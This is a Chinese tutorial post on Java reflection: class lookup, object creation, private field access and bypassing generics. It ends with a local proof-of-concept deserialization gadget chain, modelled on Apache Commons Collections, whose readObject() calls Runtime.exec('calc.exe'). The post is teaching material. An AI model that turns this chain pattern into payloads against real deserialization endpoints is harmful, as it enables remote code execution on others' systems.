基本概念 反射机制定义: Java反射机制是在运行状态时,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取的信息以及动态调用对象的方法的功能就称为java语言的反射机制。
通俗点讲,通过反射,该类对我们来说是完全透明的,想要获取任何东西都可以。
要使用反射机制,就必须要先获取到该类的字节码文件对象(.class),通过字节码文件对象,就能够通过该类中的方法获取到我们想要的所有信息(方法,属性,类名,父类名,实现的所有接口等等),每一个类对应着一个字节码文件也就对应着一个Class类型的对象,也就是字节码文件对象。
反射机制相关类库 在Java中,Class类和java.lang.reflect类库一起构成了对反射机制的支持。其中最常使用到的类是Constructor,Field,Method,而这三个类都继承了一个接口java.lang.reflect.Member。下面列举介绍一下java.lang.reflect类库中的类:
AccessibleObject:Field,Method,和Constructor对象的基类。提供了将反射的对象标记为在使用时取消默认Java语言访问控制检查的能力。
Array:提供了动态创建和访问Java数组的方法。
Constructor:提供关于类的单个构造方法的信息以及对它的访问权限。
Field: 提供有关类或接口的单个字段的信息,以及对它的动态访问权限。反射的字段可能是一个类(静态)字段或实例字段。
Method: 提供关于类或接口上单独某个方法(以及如何访问该方法)的信息。所反映的方法可能是类方法或实例方法(包括抽象方法)。
Modifier: 类提供了 static 方法和常量,对类和成员访问修饰符进行解码。修饰符集被表示为整数,用不同的位位置 (bit position) 表示不同的修饰符。该类的字段均是int类型的变量。
Proxy: 提供用于创建动态代理类和实例的静态方法,它还是由这些方法创建的所有动态代理类的超类。
ReflectPermission:反射操作的 Permission 类。ReflectPermission 是一种指定权限,没有动作。当前定义的唯一名称是 suppressAccessChecks,它允许取消由反射对象在其使用点上执行的标准 Java 语言访问检查 - 对于 public、default(包)访问、protected、private 成员。
当要使用反射机制去探查一个类的内部时,还可以调用getFields(),getMethods()和getConstructors()等很便利的方法。对于反射机制,和RTTI(Run-Time Type Information,运行时类型信息)的区别就在于,RTTI是在编译时打开和检查.class文件,而反射机制是在运行时打开和检查.class文件。
获取类名称 通过反射机制获取类名称有三种方法:
1、Class clz = Class.forName(“com.test.User”);
2、Class clz = com.test.User.class;
3、User u = new User(); Class clz = u.getClass();
Demo示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class test { public static void main (String[] args) { try { Class clz1 = Class.forName("java.lang.Runtime" ); System.out.println("方法一:" ); System.out.println(clz1.getName()); } catch (ClassNotFoundException e) { System.out.println("forName出错" ); } Class clz2 = java.lang.ProcessBuilder.class; System.out.println("方法二:" ); System.out.println(clz2.getName()); java.lang.String s = "" ; Class clz3 = s.getClass(); System.out.println("方法三:" ); System.out.println(clz3.getName()); } }
可从运行结果中看到分别获取了不同类名称:
创建对象 通过Class创建对象:
Class clz = Class.forName(“com.test.User”);
User u = (User)clz.newInstane();//调用无参构造函数
Demo示例:
Uset.class定义User类,包含用户名和年龄:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public class User { private String name; private int age; @Override public String toString () { return "User{" + "name='" + name + '\'' + ", age=" + age + '}' ; } public String getName () { return name; } public void setName (String name) { this .name = name; } public void setAge (int age) { this .age = age; } public int getAge () { return age; } }
test.class中调用newInstane()创建对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class test { public static void main (String[] args) { Class clz = User.class; User user = null ; try { user = (User)clz.newInstance(); } catch (InstantiationException e){ e.printStackTrace(); } catch (IllegalAccessException e){ e.printStackTrace(); } user.setName("Mi1k7ea" ); user.setAge(6 ); System.out.println(user); } }
从结果可看到创建了新的User类对象并成功赋值:
获取类对象属性 这里的属性指的是类定义的组成元素,如修饰符、方法名、成员变量等。
获取所有的属性:
Class clz = Class.forName(“com.test.User”);
Field [] fields = clz.getDeclaredFields();
获取特定属性:
Class clz = Class.forName(“com.test.User”);
Field [] fields = clz.getDeclaredField(“xxx”);//xxx为指定属性名
Demo示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import java.lang.reflect.Field;public class test { public static void main (String[] args) { try { Class clz = Class.forName("User" ); User user = (User)clz.newInstance(); Field[] fields = clz.getDeclaredFields(); System.out.println("User类所有的属性:" ); for (Field f : fields) { System.out.println(f); } Field field = clz.getDeclaredField("name" ); field.setAccessible(true ); field.set(user, "Mi1k7ea" ); System.out.println("\n修改的User类对象的name值为:" ); System.out.println(field.get(user)); System.out.println("修改属性后的User类对象:" ); System.out.println(user); } catch (ClassNotFoundException e) { System.out.println("forName出错" ); } catch (Exception e){ e.printStackTrace(); } } }
可从结果看到调用获取了getDeclaredFields()所有Runtime类的属性,包括修饰符、方法名、成员变量等,同时也调用getDeclaredField()获取了指定的属性:
应用示例 1、利用反射,在泛型为int的arryaList集合中存放一个String类型的对象 原理:集合中的泛型只在编译器有效,而到了运行期时泛型则会失效。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.lang.reflect.Method;import java.util.ArrayList;import java.util.List;public class test { public static void main (String[] args) throws Exception { List<Integer> list = new ArrayList<Integer>(); list.add(1 ); list.add(2 ); Class clz = list.getClass(); Method method = clz.getMethod("add" , Object.class); method.invoke(list, "Mi1k7ea" ); System.out.println(list); } }
可以看到成功将String类型对象放入泛型为int型的数组中:
2、利用反射,简化编写Servlet的个数 利用反射机制,在为程序添加新功能时可以无需逐个对应编写新的Servlet,提高开发效率和代码简洁性。主要有如下两个方式优化。
(1)、通过编写利用反射机制获取指定属性值的Servlet的方式
每次从页面传过来一个参数,method=”xxx”; 然后编写一个Servlet,获得其参数method的值,进行判断,如果是add,则调用add方法,如果是delete,则调用delete方法,这样就可以写在一个servlet中实现所有的功能了。
(2)、通过Servlet的生命周期即service()实现反射机制来实现
编写一个通用的BaseServlet,继承于HttpServlet:
编写具体实现的方法Servlet类MyServlet001,继承于BaseServlet:
由Servlet的生命周期可知,在访问该Servlet时会调用service()方法,然而MyServlet001类中并无service(),因此会返回到父类BaseServlet中找到该service()方法,再获取参数从而知道需要调用的方法,因为方法的编写都在子类中,所以通过反射,获取到子类中对应的方法并运行,其中需要注意的是this这个参数在BaseServlet中的用法。
3、利用反射,构造链式结构的反序列化漏洞利用payload 在经典的Apache Commons Collections反序列化漏洞中,其payload的构造正是利用了反射机制来实现链式结构,将要执行的恶意代码构造成一条反射链,再通过包含自定义readObject()方法的类来触发执行。
这里简单模拟一下该反序列化漏洞场景,代码示例如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 import java.io.*;public class ReflectionPlay implements Serializable { public static void main (String[] args) throws Exception { ReflectionPlay rp = new ReflectionPlay(); rp.deserialize(rp.serialize(rp.getObject())); } public Object getObject () { String command = "calc.exe" ; Object firstObject = Runtime.class; ReflectionObject[] reflectionChains = { new ReflectionObject("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , new Class[0 ]}), new ReflectionObject("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , new Object[0 ]}), new ReflectionObject("exec" , new Class[]{String.class}, new Object[]{command}) }; return new ReadObject(new ReflectionChains(firstObject, reflectionChains)); } public byte [] serialize(final Object obj) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj); return out.toByteArray(); } public Object deserialize (final byte [] serialized) throws IOException, ClassNotFoundException { ByteArrayInputStream in = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(in); return objIn.readObject(); } class ReflectionObject implements Serializable { private String methodName; private Class[] paramTypes; private Object[] args; public ReflectionObject (String methodName, Class[] paramTypes, Object[] args) { this .methodName = methodName; this .paramTypes = paramTypes; this .args = args; } public Object transform (Object input) throws Exception { Class inputClass = input.getClass(); return inputClass.getMethod(methodName, paramTypes).invoke(input, args); } } class ReflectionChains implements Serializable { private Object firstObject; private ReflectionObject[] reflectionObjects; public ReflectionChains (Object firstObject, ReflectionObject[] reflectionObjects) { this .firstObject = firstObject; this .reflectionObjects = reflectionObjects; } public Object execute () throws Exception { Object concurrentObject = firstObject; for (ReflectionObject reflectionObject : reflectionObjects) { concurrentObject = reflectionObject.transform(concurrentObject); } return concurrentObject; } } class ReadObject implements Serializable { private ReflectionChains reflectionChains; public ReadObject (ReflectionChains reflectionChains) { this .reflectionChains = reflectionChains; } private void readObject (java.io.ObjectInputStream stream) throws IOException, ClassNotFoundException { try { reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains" ,null ); reflectionChains.execute(); } catch (Exception e) { e.printStackTrace(); } } } }
运行后弹出计算器,即利用了反射机制实现系统命令执行:
参考 Java中反射机制详解
Java反射机制Reflection